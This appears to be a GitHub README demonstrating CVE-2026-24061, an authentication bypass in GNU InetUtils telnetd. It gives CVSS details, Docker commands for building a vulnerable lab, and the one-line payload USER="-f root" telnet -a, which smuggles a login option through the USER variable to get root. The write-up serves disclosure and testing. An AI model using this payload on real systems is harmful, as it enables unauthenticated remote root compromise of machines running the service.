lucaspdiniz/cve-2026-24061Vulnerability in GNU InetUtils telnetd Enables Remote Root Access
A recently identified argument injection vulnerability in GNU InetUtils telnetd allows attackers to circumvent authentication by setting the USER environment variable to the value “-f root”. As a result, a remote unauthenticated attacker can gain access to systems running the vulnerable telnetd service and elevate privileges to root. If successfully exploited, this flaw may enable attackers to access sensitive information, alter system settings, and run arbitrary commands, potentially resulting in a complete system compromise.
| CVSS detail | CNA (MITRE) |
|---|
| Base Score | 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| CVSSv3 Version | 3.1 |
We were able to access the Commit below from 2015 which shows the code change (line 62) that created this vulnerability.
The purpose of this readme is only to show the execution of the exploit, not every step that generated this CVE, however, the intent is to substitute the %U placeholder with the value taken from the USER environment variable. This particular environment variable is user-controlled and can be manipulated via the Telnet protocol 🔥 .
For this test, I created 2 containers using images from Docker Hub, with a vulnerable version of InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
With the payload below, we replace the USER variable and bypass the authentication system.
USER="-f root" telnet -a 172.17.0.3
Check your inetutils version
hostname --version
telnetd --version
See you next time :wink:
